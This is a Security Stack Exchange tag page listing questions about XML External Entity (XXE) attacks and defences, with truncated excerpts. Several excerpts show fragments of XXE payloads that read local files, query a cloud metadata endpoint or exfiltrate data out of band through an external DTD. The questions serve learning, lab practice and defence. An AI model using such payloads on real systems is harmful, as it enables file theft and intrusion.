Questions tagged [xxe]
XXE, or XML External Entity, is part of the XML spec that can introduce a vulnerability in poorly crafted XML parsers.
40
questions
0
votes
0
answers
81
views
I'm not sure why the different XXE injection payloads follow a specific pattern
I'm quite new to XXE attacks so please bear with me, when I look at the different payloads to get a OOB XXE they all look like the following (external DTD) :
<!ENTITY % file SYSTEM "file:///...
1
vote
0
answers
337
views
XXE OOB File Content Extraction
Currently, I've discovered an OOB XXE that allows me to include a .dtd file to extract a particular system file content, for instance, /sys/power/disk.
So my file.dtd is:
<!ENTITY % data SYSTEM &...
- 11
1
vote
0
answers
180
views
How can I manipulate certain server side responses? Specifically Ajax Responses? XXE Attack? Hybrid DNS Resolution?
I would like to be able to switch back and forth between the real DNS and maybe setting a local DNS entry so I can manipulate AJAX responses for code security checks.
For instance if the server ...
- 141
1
vote
0
answers
380
views
Extracting multiple lines out of band XXE [closed]
I was able to extract a line from the /etc/hostname file and also http://169.254.169.254/latest/meta-data/local-hostname but I want to extract the content of files with multiple line, such as the aws ...
- 111
0
votes
0
answers
3k
views
XXE in SOAP request when WS requires WS-Security
I am trying to test XXE and SSRF in SOAP webservice. Let say that my request looks like this:
<?xml version="1.0"?>
<!DOCTYPE order [
<!ELEMENT foo ANY >
<!ENTITY xxe ...
- 1,363
1
vote
2
answers
227
views
Is possible XXE with XSI modify?
I wonder, is possible XXE attack in this case?
The data of request is starting with:
<InteractionMessage><Header><SenderApplication>VIP3.0</SenderApplication><...
- 11
1
vote
2
answers
729
views
Java XXE vulnerability
If I am already using
xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
then do I also need to use
xmlInputFactory.setProperty("javax.xml.stream.isSupportingExternalEntities",...
- 11
1
vote
1
answer
999
views
Blind XXE - Exfiltration Data via OOB
My lab
Kali Linux:192.168.171.134
bWApp Server: http://192.168.171.131
I want to do an exfiltration data via HTTP on this Blind XXE.
I'll use the Portswigger Payload.
This is the External.DTD:
&...
- 21
1
vote
1
answer
339
views
XXE SSRF Practice
I'm trying to implement a simple demo - to better understand XXE and SSRF techniques.
I have written these two files below in an attempt to set this up.
I currently intercept the AJAX POST request and ...
- 21
1
vote
1
answer
1k
views
XXE with OOB data exfiltration
SCENARIO:
I successfully tried to send a request to the burp collaborator, then the application is vulnerable to SSRF through blind XXE. The payload I used is the following
<?xml version="1.0&...
- 567
2
votes
1
answer
1k
views
PHP Blind XXE Exploitation: Invalid URI in Entity
When attempting to exploit blind XXE as explained in this article, I got an error in my apache logs:
PHP Warning: DOMDocument::loadXML(): Invalid URI: http://192.168.6.1/82a3ccab632c in Entity
The ...
- 265
1
vote
0
answers
164
views
Prevent XXE attack by preprocessing XML
I have an old project which parses XML files coming from an external origin, so it is at least in principle vulnerable to XXE.
It is difficult to update the project to use newer versions of XML ...
- 149
2
votes
1
answer
10k
views
XXE - possible to read directories?
I have come across XXE on a CTF a while ago and I can't get my head around where to go from where I am.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php:...
- 297
0
votes
2
answers
1k
views
XXE Injection in docx: entity not defined
My goal is to create a docx file that, when uploaded to a server and parsed there, causes the parser to fetch my url so I know it worked.
Unfortunately, I only have Libre Office and not MS Office at ...
- 1
0
votes
2
answers
926
views
Deciding CVSS v3.1 scope parameter for a XXE vulnerability
I have a web application which is vulnerable to XXE attack. The impact of this vulnerability is, it can do a port scan by sending a malicious XML that does a request to a specific host+port in the ...
- 31
0
votes
1
answer
206
views
Bypassing Access-Control-Allow-Headers header [closed]
What i want to do is access the Content-type header which is placed under the Access-Control-Allow-Headers header as i want to attempt to change json to xml on a web application im working on to check ...
- 59
2
votes
1
answer
529
views
XML External Entity injection within the body of a document
If you Google for an example of XXE injection you get something like this:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe ...
- 234
4
votes
1
answer
444
views
What's the use of an "extra" dynamic declaration in an external DTD blind XXE attack?
I've been studying XXE attacks through Portswigger's Web Security Academy. I stumbled upon a lab Exploiting blind XXE to exfiltrate data using a malicious external DTD.
In this lab an attacker has to ...
- 1,277
5
votes
1
answer
1k
views
XXE OOB Large File Extraction
Most of examples for extracting files through XXE OOB (Out of Band) sets up a listening HTTP server and listens to incoming request on the URL requested. However, since the URL length is limited to ...
- 51
0
votes
1
answer
1k
views
XXE - Encode file content
In my current assessment, I came across an XXE. Unfortunately, I cannot retrieve a bunch of files that would let me progress further (such as .bash_history and any other .xml/config files) because the ...
- 3
1
vote
1
answer
324
views
Why Would A Web Server Allow Loading XML External Entities?
I've been reading up on XXE Injection, and so far every example I've seen has involved a webserver voluntarily loading xml external entities (as below).
<?php
libxml_disable_entity_loader (false);...
0
votes
2
answers
1k
views
Billion Laughs Attack (XXE) - how does it work
Hi all Im trying to understand how the billion laughs attack works(https://en.wikipedia.org/wiki/Billion_laughs_attack)
So far I get its obviously sending this payload:
<?xml version="1.0"?>
&...
- 121
0
votes
0
answers
224
views
XXE Exploitation
I just want a little help, i'm not able to exploit an XXE.
<?xml version="1.0" encoding="UTF-8"?>
<response>
<list>
<listname><![CDATA[h]]><!ELEMENT r ANY ><!...
7
votes
0
answers
3k
views
Can XXE be exploited when disallow-doctype-decl is set to true (Apache)?
I found out that an endpoint of a website may be vulnerable to XXE. It is using Unmarshal as an XML parser. When I try to send a post request using common XXE payloads, I receive the following ...
- 81
2
votes
0
answers
901
views
ASP.NET SOAP Service XXE
Is it possible to do any type of XXE in a service developed using default C# SOAP service framework?
I ask because any type of XXE payload I try to add, even XML header, whatever I add before SOAP ...
- 21
2
votes
1
answer
3k
views
Exfiltration through FTP using XXE on a Tomcat server
I'm trying to extract binary data from a Tomcat server that is using SAXParser. For my FTP server, I am using this source. I'm hosting two DTD's on Github Gist. These are their contents:
Base XML (...
- 259
1
vote
2
answers
2k
views
Why do we need External dtd in blind XXE?
A proper blind XXE payload is:-
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;&...
- 53
8
votes
1
answer
5k
views
Is .NET XmlSerializer.Deserialize(TextReader) safe?
Is the .NET method XmlSerializer.Deserialize(TextReader) safe from XML vulnerabilities (XXE, XmlBomb etc..)? Will the DTD be processed during deserialization?
I can understand why XmlSerializer....
- 325
1
vote
1
answer
1k
views
Attack path alternatives for XXE
I've found a blind Xml External Entity (XXE) attack against a SAML infrastructure while on a client engagement but it has been giving me fits trying to exploit it earlier. I can construct a simple XXE:...
- 43
2
votes
1
answer
435
views
Why isn't XXE part of Injection in the OWASP Top 10?
I'm trying to explain to myself why XXE doesn't fall under the Injection category, as it is a form of XML injection.
XML External Entity is an attack that manipulates the XML parser/interpreter, to ...
- 304
-2
votes
1
answer
3k
views
Can an XXE attack be carried out from within an docx file? [closed]
Is XXE possible in a file upload with .docx files?
1
vote
0
answers
231
views
Example of Insecure DTD Processing in XmlSchema.Read
According to https://msdn.microsoft.com/en-us/library/mt661872.aspx and https://github.com/dotnet/roslyn-analyzers/issues/563 the code below is vulnerable to DTD expansion attack:
var src = "?...
1
vote
1
answer
3k
views
XSS and XXE payload in XML attributes value
I am testing web application with functionality of file upload. The only possible file format is XML. The content of the file saved in XML attributes is then presented on the separate page.
For ...
- 1,363
3
votes
1
answer
1k
views
Any vulnerabilities from shorting browser's XML parser?
I have found a way of forcing a site to return content-type XML to the user's browser even though the content is HTML. The browser then interprets this site as XML and throws an error since the HTML ...
- 105
1
vote
0
answers
1k
views
Java XXE Injection - Billion Laughs doesn't work
I'm trying to reproduce several xxe attacks against a java web service.
When i try to reproduce "Billion Laughs"
i always get this:
Exception in thread "main" org.xml.sax.SAXParseException; ...
- 131
12
votes
1
answer
4k
views
Is PHP loadXML vulnerable to XXE attack (and to other attacks)? Is there a list of vulnerable functions?
I have PHP code that uses the loadXML function (as well as other XML functions).
Is the loadXML function vulnerable to XXE attack? Namely, if the XML contains external entities, will they be ...
- 495
3
votes
1
answer
3k
views
Can an XXE (XML External Entity) attack be carried out from within an SVG file?
Since SVG is built heavily if not entirely on XML, can one of the attacks that can be carried out through XML such as XXE injection be carried out from an SVG file?
- 33
4
votes
1
answer
904
views
Approach for testing XXE injection
I have been discussing xxe injection in my web application,My web application allows expansion of user-supplied XML entities
What i did:
Intercepted traffic using Burp.
Changed the request with ...
- 5,147
2
votes
1
answer
1k
views
XML external entity - Local file enumeration (Impact assessment question)
I had come across an XML request-response pair while testing a web application and attempted to inject XXE payloads. Note that in this case no XML parameter sent in the request was getting reflected ...
- 7,487
2
votes
1
answer
3k
views
What are steps to defend against XML External Entity (XXE) Processing vulnerability?
Lately I've seen so many attacks of this type, so I wanted to ask what is the proper way to defend against XML External Entity (XXE) Processing vulnerability. For example what if I parse some simple ...
- 1,452